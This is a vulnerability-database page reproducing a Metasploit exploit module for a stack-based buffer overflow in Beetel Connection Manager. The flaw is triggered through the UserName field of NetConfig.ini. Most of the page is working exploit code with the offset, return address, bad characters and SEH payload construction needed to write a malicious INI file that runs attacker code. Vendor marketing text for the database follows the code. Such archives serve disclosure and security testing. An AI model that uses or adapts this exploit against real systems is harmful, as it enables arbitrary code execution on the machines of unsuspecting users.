Lucene search
K

Beetel Connection Manager NetConfig.ini Buffer Overflow

🗓️ 30 Oct 2013 00:00:00Reported by metacomType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Beetel Connection Manager NetConfig.ini Buffer Overflow. Stack-based overflow in UserName parameter parsing in NetConfig.ini. Tested on PCW_BTLINDV1.0.0B04 over WinXP SP3 and Win7 SP1

Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class Metasploit4 < Msf::Exploit  
  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",  
'Description' => %q{  
This module exploits a stack-based buffer overflow on Beetel Connection Manager. The  
vulnerability exists in the parising of the UserName parameter in the NetConfig.ini  
file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP  
SP3 and Windows 7 SP1.b  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
"metacom", # Vuln/PoC  
"wvu" # Metasploit  
],  
'References' =>  
[  
[ "OSVDB", "98714" ],  
[ "EDB", "28969" ]  
],  
'Payload' =>  
{  
"Space" => 1504,  
"BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",  
"DisableNops" => true  
},  
'Platform' => "win",  
'Targets' =>  
[  
["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)",  
{  
"Offset" => 468,  
"Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Oct 12 2013",  
'DefaultTarget' => 0  
))  
  
register_options([  
OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),  
OptString.new("SECTION", [true, "Section name", "Edit Me"])  
], self.class)  
end  
  
def exploit  
section = datastore["SECTION"]  
  
sploit = "[#{section}]\r\n" \  
"UserName=#{shell_popper}"  
  
file_create(sploit)  
end  
  
def shell_popper  
junk = rand_text(target["Offset"])  
seh = generate_seh_record(target.ret)  
jump = Rex::Arch::X86.jmp_short(66)  
padding = rand_text(66) # Pad past buffer corruption  
  
junk << seh << jump << padding << payload.encoded  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation